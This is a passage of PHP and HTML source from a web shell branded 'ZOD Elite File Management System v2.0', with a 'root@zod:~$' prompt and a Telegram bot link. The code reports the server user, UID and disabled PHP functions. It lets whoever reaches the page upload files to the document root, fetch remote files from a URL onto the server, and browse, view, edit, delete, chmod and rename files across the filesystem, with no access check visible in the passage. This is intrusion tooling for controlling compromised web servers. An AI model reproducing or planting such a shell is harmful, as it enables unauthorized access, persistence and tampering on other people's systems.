                    <span class="sys-value"><?php echo htmlspecialchars(@get_current_user() . ' (UID: ' . @getmyuid() . ')'); ?></span>
                </div>
                <div class="sys-item">
                    <span class="sys-label">PHP</span>
                    <span class="sys-value"><?php echo htmlspecialchars(phpversion()); ?></span>
                </div>
                <div class="sys-item">
                    <span class="sys-label">Current</span>
                    <span class="sys-value"><?php echo is_path_writable($path); ?></span>
                </div>
                <div class="sys-item">
                    <span class="sys-label">Disabled</span>
                    <span class="sys-value"><?php echo $df_display; ?></span>
                </div>
            </div>
        </div>
        
        <?php if (!empty($message)) echo $message; ?>
        
        <!-- Path Navigation -->
        <div class="path-nav">
            <span class="path-prefix">root@zod:~$</span>
            <span class="path-sep">/</span>
            <?php
            $parts = explode('/', trim($path, '/'));
            $current = '';
            foreach ($parts as $i => $part) {
                if ($part === '') continue;
                $current .= '/' . $part;
                echo '<a href="?path=' . urlencode($current) . '">' . htmlspecialchars($part) . '</a>';
                if ($i < count($parts) - 1) echo '<span class="path-sep">/</span>';
            }
            ?>
        </div>
        
        <!-- Upload Panel -->
        <div class="panel">
            <div class="panel-header">
                <div class="panel-title">File Operations</div>
            </div>
            <div class="panel-body">
                <form method="post" enctype="multipart/form-data">
                    <input type="hidden" name="upload_action" value="1">
                    
                    <div class="upload-grid">
                        <div class="upload-section">
                            <div class="upload-section-title">Upload File</div>
                            <div class="target-selector">
                                <label class="radio-option">
                                    <input type="radio" name="target_dir" value="current" checked>
                                    Current Dir <?php echo is_path_writable($path); ?>
                                </label>
                                <label class="radio-option">
                                    <input type="radio" name="target_dir" value="docroot">
                                    Doc Root <?php echo is_path_writable($_SERVER['DOCUMENT_ROOT']); ?>
                                </label>
                            </div>
                            <input type="file" name="file">
                            <button type="submit" name="file_upload" class="btn btn-primary">Upload</button>
                        </div>
                        
                        <div class="upload-section">
                            <div class="upload-section-title">Fetch from URL</div>
                            <input type="text" name="fetch_url" placeholder="https://example.com/file.txt">
                            <input type="text" name="fetch_name" placeholder="Save as filename">
                            <button type="submit" name="url_fetch" class="btn btn-primary">Fetch</button>
                        </div>
                    </div>
                </form>
                
                <div style="margin-top: 15px; padding-top: 15px; border-top: 1px solid var(--border-color);">
                    <div class="quick-actions">
                        <form method="post" class="quick-form">
                            <span style="color: var(--text-muted); font-size: 10px;">NEW FOLDER:</span>
                            <input type="text" name="folder_name" placeholder="folder_name">
                            <button type="submit" name="create_folder" class="btn btn-sm">Create</button>
                        </form>
                        <form method="post" class="quick-form">
                            <span style="color: var(--text-muted); font-size: 10px;">NEW FILE:</span>
                            <input type="text" name="file_name" placeholder="file.txt">
                            <button type="submit" name="create_file" class="btn btn-sm">Create</button>
                        </form>
                    </div>
                </div>
            </div>
        </div>
        
        <!-- File List -->
        <div class="panel">
            <div class="panel-header">
                <div class="panel-title">Directory Listing</div>
                <span style="color: var(--text-muted); font-size: 10px;"><?php echo count($items) - 2; ?> items</span>
            </div>
            <div class="file-table">
                <table>
                    <thead>
                        <tr>
                            <th>Name</th>
                            <th style="width: 100px; text-align: right;">Size</th>
                            <th style="width: 100px;">Permissions</th>
                            <th style="width: 180px;">Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <!-- Parent Directory -->
                        <?php
                        $parent = dirname($path);
                        if ($parent !== $path):
                        ?>
                        <tr>
                            <td colspan="4">
                                <a href="?path=<?php echo urlencode($parent); ?>" class="file-name dir">
                                    <span class="file-icon">📁</span>..
                                </a>
                            </td>
                        </tr>
                        <?php endif; ?>
                        
                        <?php
                        // Sort: directories first, then files
                        $dirs = [];
                        $files = [];
                        foreach ($items as $item) {
                            if ($item === '.' || $item === '..') continue;
                            $fullpath = $path . '/' . $item;
                            if (is_dir($fullpath)) {
                                $dirs[] = $item;
                            } else {
                                $files[] = $item;
                            }
                        }
                        sort($dirs);
                        sort($files);
                        $sorted = array_merge($dirs, $files);
                        
                        foreach ($sorted as $item):
                            $fullpath = $path . '/' . $item;
                            $is_dir = is_dir($fullpath);
                            $perms = zod_perms($fullpath);
                            $writable = is_writable($fullpath);
                            
                            if (!$is_dir && file_exists($fullpath)) {
                                $size = zod_size(@filesize($fullpath));
                            } else {
                                $size = '--';
                            }
                        ?>
                        <tr>
                            <td>
                                <?php if ($is_dir): ?>
                                    <a href="?path=<?php echo urlencode($fullpath); ?>" class="file-name dir">
                                        <span class="file-icon">📁</span><?php echo htmlspecialchars($item); ?>
                                    </a>
                                <?php else: ?>
                                    <a href="?path=<?php echo urlencode($path); ?>&view=<?php echo urlencode($item); ?>" class="file-name">
                                        <span class="file-icon">📄</span><?php echo htmlspecialchars($item); ?>
                                    </a>
                                <?php endif; ?>
                            </td>
                            <td class="file-size"><?php echo $size; ?></td>
                            <td class="file-perms <?php echo $writable ? 'writable' : ''; ?>"><?php echo $perms; ?></td>
                            <td>
                                <div class="file-actions">
                                    <?php if (!$is_dir): ?>
                                        <a href="?path=<?php echo urlencode($path); ?>&edit=<?php echo urlencode($item); ?>" class="btn btn-sm">Edit</a>
                                    <?php endif; ?>
                                    
                                    <form method="post" style="display: inline;" onsubmit="return confirm('Delete this item?');">
                                        <input type="hidden" name="target_path" value="<?php echo htmlspecialchars($fullpath); ?>">
                                        <button type="submit" formaction="?action=delete" class="btn btn-sm btn-danger">Del</button>
                                    </form>
                                    
                                    <form method="post" style="display: inline;">
                                        <input type="hidden" name="target_path" value="<?php echo htmlspecialchars($fullpath); ?>">
                                        <select class="action-select" onchange="
                                            if(this.value === 'chmod') {
                                                var p = prompt('Enter permissions (e.g., 0755):', '0755');
                                                if(p) {
                                                    var inp = document.createElement('input');
                                                    inp.type = 'hidden';
                                                    inp.name = 'permissions';
                                                    inp.value = p;
                                                    this.form.appendChild(inp);
                                                    this.form.action = '?action=chmod';
                                                    this.form.submit();
                                                }
                                            } else if(this.value === 'rename') {
                                                var n = prompt('Enter new name:', '<?php echo htmlspecialchars($item); ?>');
                                                if(n) {
                                                    var inp = document.createElement('input');
                                                    inp.type = 'hidden';
                                                    inp.name = 'new_name';
                                                    inp.value = n;
                                                    this.form.appendChild(inp);
                                                    this.form.action = '?action=rename';
                                                    this.form.submit();
                                                }
                                            }
                                            this.value = '';
                                        ">
                                            <option value="">More...</option>
                                            <option value="chmod">Chmod</option>
                                            <option value="rename">Rename</option>
                                        </select>
                                    </form>
                                </div>
                            </td>
                        </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
        </div>
        
        <?php
        // File View
        if (isset($_GET['view'])) {
            $file = $path . '/' . $_GET['view'];
            if (is_file($file) && is_readable($file)) {
                $content = @file_get_contents($file);
                $size = zod_size(filesize($file));
        ?>
        <div class="file-preview">
            <div class="preview-header">
                <div class="editor-file">
                    <span>📄</span>
                    <span><?php echo htmlspecialchars($_GET['view']); ?></span>
                    <span style="color: var(--text-muted);">(<?php echo $size; ?>)</span>
                </div>
                <div class="editor-actions">
                    <a href="?path=<?php echo urlencode($path); ?>&edit=<?php echo urlencode($_GET['view']); ?>" class="btn btn-sm btn-primary">Edit</a>
                    <a href="?path=<?php echo urlencode($path); ?>" class="btn btn-sm">Close</a>
                </div>
            </div>
            <div class="preview-content">
                <pre><?php echo htmlspecialchars($content); ?></pre>
            </div>
        </div>
        <?php
            }
        }
        
        // File Edit
        if (isset($_GET['edit'])) {
            $file = $path . '/' . $_GET['edit'];
            if (is_file($file)) {
                $content = @file_get_contents($file);
                $size = zod_size(filesize($file));
        ?>
        <div class="editor-container">
            <form method="post">
                <input type="hidden" name="target_path" value="<?php echo htmlspecialchars($file); ?>">
                
                <div class="editor-header">
                    <div class="editor-file">
                        <span>✏️</span>
                        <span>Editing: <?php echo htmlspecialchars($_GET['edit']); ?></span>
                        <span style="color: var(--text-muted);">(<?php echo $size; ?>)</span>
                    </div>
                    <div class="editor-actions">
                        <button type="submit" formaction="?action=edit" class="btn btn-sm btn-primary">Save</button>
                        <a href="?path=<?php echo urlencode($path); ?>" class="btn btn-sm">Cancel</a>
                    </div>
                </div>
                
                <textarea name="file_content" class="code-editor"><?php echo htmlspecialchars($content); ?></textarea>
            </form>
        </div>
        <?php
            }
        }
        ?>
        
        <!-- Footer -->
        <div class="footer">
            <div class="footer-logo">ZOD</div>
            <div class="footer-info">
                Elite File Management System v2.0<br>
                Session: <?php echo session_id(); ?>
            </div>
            
            <a href="https://t.me/hello_zod_bot" target="_blank" class="telegram-btn">
                <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                    <path d="M12 0C5.373 0 0 5.373 0 12s5.373 12 12 12 12-5.373 12-12S18.627 0 12 0zm5.562 8.145l-1.84 8.725c-.132.585-.478.73-.97.456l-2.687-1.98-1.295 1.25c-.143.143-.265.265-.543.265l.193-2.72 4.985-4.51c.217-.193-.047-.3-.336-.108l-6.163 3.88-2.656-.83c-.58-.18-.592-.58.12-.86l10.378-4c.48-.18.898.12.73.86z"/>
                </svg>
                @hello_zod_bot
            </a>
        </div>
    </div>
    
    <script>
        // Add real-time clock
        function updateTime() {
            const now = new Date();
            const time = now.toLocaleTimeString('en-US', { hour12: false });
            const elements = document.querySelectorAll('.clock-display');
            elements.forEach(el => el.textContent = time);
        }
        setInterval(updateTime, 1000);
        updateTime();
        
        // Add keyboard shortcuts
        document.addEventListener('keydown', function(e) {
            // Ctrl+S to save in editor
            if (e.ctrlKey && e.key === 's') {
                const editor = document.querySelector('.code-editor');
                if (editor && editor === document.activeElement) {
                    e.preventDefault();
                    editor.closest('form').submit();
                }
            }
        });
    </script>
</body>
</html>